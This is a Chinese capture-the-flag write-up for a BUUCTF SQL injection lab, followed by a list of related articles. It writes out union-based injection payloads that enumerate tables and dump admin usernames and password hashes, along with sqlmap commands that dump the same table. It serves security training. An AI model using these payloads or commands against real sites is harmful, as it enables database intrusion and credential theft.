方法一:手工注入

启动靶机

寻找注入点,使用burp抓包得到传参页面

得到注入点 /backend/content_detail.php?id=1

and 1 =1and 1 =2 判断存在sql注入漏洞

查询字段数 order by 2正常显示 order by 3异常显示 字段数为2



让网页报错测试回显位 /backend/content_detail.php?id=-1 union select 1,2 测得1,2号字段都是回显位

查询数据库名,版本号,用户名

/backend/content_detail.php?id=-1 union select database(),2 得到表名news

/backend/content_detail.php?id=-1 union select version(),2 得到版本10.3.18-MariaDB

/backend/content_detail.php?id=-1 union select user(),2 得到用户root@localhost



//group_get()函数用于回显所有数据

开始sql注入爆破表名 ?id= -1 union select 1, group_concat(table_name) from information_schema.tables where table_schema = 'news' 得到表名admin,contens

爆破列名 ?id= -1 union select 1, group_concat(column_name) from information_schema.columns where table_name = 'admin' 得到列名 id,username,password

查询username,password ?id= -1 union select group_concat(username),group_concat(password) from admin

通过用户名密码登录后台 admin ef885d97427ba814d7d0faa7d574bad9



拿到flag

flag{6b8876b9-a705-4794-b623-f07dec86b58a}


方法二:sqlmap注入

启动靶机得到注入链接 /backend/content_detail.php?id=1

获取当前数据库名称 python.exe .\sqlmap.py -u "http://fc37e90a-e533-4b4a-a8bd-7d02eab1fcb1.node5.buuoj.cn:81/backend/content_detail.php?id=1" --current-db

获取表名python.exe .\sqlmap.py -u "http://fc37e90a-e533-4b4a-a8bd-7d02eab1fcb1.node5.buuoj.cn:81/backend/content_detail.php?id=1" --tables -D "news"

获取列名 python.exe .\sqlmap.py -u "http://fc37e90a-e533-4b4a-a8bd-7d02eab1fcb1.node5.buuoj.cn:81/backend/content_detail.php?id=1" --columns -D "news" -T "admin"

获取username和password值 python.exe .\sqlmap.py -u "http://fc37e90a-e533-4b4a-a8bd-7d02eab1fcb1.node5.buuoj.cn:81/backend/content_detail.php?id=1" --dump -D "news" -T "admin" -C "username,password"

登录后台拿到flag

BUUCTF BUU SQL COURSE 1的更多相关文章

  1. BUUCTF[归纳]sql注入相关题目

    这是我自己对于sql注入的部分ctf题型的归纳,均来自buuctf的平台环境. [0CTF 2016]piapiapia 我尝试了几种payload,发现有两种情况. 第一种:Invalid user ...

  2. Buuctf | BUU LFI COURSE 1

    跟着赵师傅学CTF,这里是我的学习记录 ?file=/flag ?file=/var/log/nginx/access.log :包含ngnix的日志记录 在user-agent里面插入 :bbbbb ...

  3. BUUCTF | SQL COURSE 1

    一开始还以为是在登录框进行注入,于是fuzzing了一下发现一个注入点都没有 1 and 1 1 and 0 1' and '1 1' and '0 1" and "1 1&quo ...

  4. 【Oracle】获取SQL执行计划

    一.plsql developer工具F5         在sqldeveloper中选中sql按F5即可查看执行计划         

  5. BUUCTF平台-web-边刷边记录-1

    1.WarmUp 思路很清晰,文件包含,漏洞点在代码会二次解码,只需注入一个?就可以使用../../进行路径穿越,然后去包含flag,flag路径在hint.php里面有 2.easy_tornado ...

  6. BUUCTF知识记录

    [强网杯 2019]随便注 先尝试普通的注入 发现注入成功了,接下来走流程的时候碰到了问题 发现过滤了select和where这个两个最重要的查询语句,不过其他的过滤很奇怪,为什么要过滤update, ...

  7. Buu刷题

    前言 希望自己能够更加的努力,希望通过多刷大赛题来提高自己的知识面.(ง •_•)ง easy_tornado 进入题目 看到render就感觉可能是模板注入的东西 hints.txt给出提示,可以看 ...

  8. BuuCTF Web Writeup

    WarmUp index.php <html lang="en"> <head> <meta charset="UTF-8"> ...

  9. buu学习记录(上)

    前言:菜鸡误入buu,差点被打吐.不过学到了好多东西. 题目名称: (1)随便注 (2)高明的黑客 (3)CheckIn (4)Hack World (5)SSRF Me (6)piapiapia ( ...

  10. BUUCTF 基础CODE REVIEW

    1.说明: 题目来自于BUUCTF 的基础部分,内容就如题,是一个代码审计.代码如下: <?php /** * Created by PhpStorm. * User: jinzhao * Da ...

随机推荐

  1. 强化学习算法真的适合于你的应用吗 —— 强化学习研究方向(研究领域)现有的不足(短板、无法落地性) —— Why You (Probably) Shouldn’t Use Reinforcement Learning

    外文原文: Why You (Probably) Shouldn't Use Reinforcement Learning 地址: https://towardsdatascience.com/why ...

  2. 系数矩阵为Hessian矩阵时使用“Pearlmutter trick”或“有限差分法”近似的共轭梯度解法 —— Hession-free的共轭梯度法

    共轭梯度法已经在前文中给出介绍: python版本的"共轭梯度法"算法代码 共轭梯度法用来求解方程A*x=b,且A为正定矩阵. 在机器学习领域很多优化模型的求解最终可以写为A*x= ...

  3. baselines算法库run.py模块分析

    baselines算法库地址: https://gitee.com/devilmaycry812839668/baselines =================================== ...

  4. C# Cefsharp 如何利用[Attribute]的把C#中的方法给到浏览器中调用

    背景 "有没有遇见这样一个场景,需要注入到浏览器的类太多,又想统一管理且不遗漏,有没有什么好办法?""有有有,把头伸过来~" 解决办法 第一步:提供一个[Att ...

  5. vant 爬坑 (一)

    vant 通过脚手架安装: # 安装 Vue Cli npm install -g @vue/cli # 创建一个项目 vue create hello-world # 创建完成后,可以通过命令打开图 ...

  6. Edge实验性功能中文翻译

    平行下载 启用平行下载以加速下载速度.- Mac, Windows, Linux, Android #enable-parallel-downloading 已启用 临时恢复 M125 标记 临时恢复 ...

  7. 高级工程师面试大全- java基础篇

    1.什么是java虚拟机 JVM是Java Virtual Machine(Java虚拟机)的缩写,JVM是一种用于计算设备的规范,它是一个虚构出来的计算机,是通过在实际的计算机上仿真模拟各种计算机功 ...

  8. quartz集成spring集群部署

    由于quartz单节点无法满足业务的需求,后面我们在单节点的基础上进行了集群部署. 由以前的定时任务信息放在jobs.xml配置文件中,转而放到数据库中. 1.新建数据库表 CREATE TABLE ...

  9. 从0实现基于Linux socket聊天室-实现聊天室的公聊、私聊功能-4

    前面文章链接如下: <从0实现基于Linux socket聊天室-多线程服务器模型-1> <从0实现基于Linux socket聊天室-多线程服务器一个很隐晦的错误-2> &l ...

  10. 【CMake系列】10-cmake测试集成googletest与第三方库自动化构建

    cmake测试,使用ctest 可能不能满足我们的需求,需要我们使用更为强大的第三方测试框架,如googletest,完成项目中的测试工作 本篇文章将第三方测试框架 googletest,引入,同时也 ...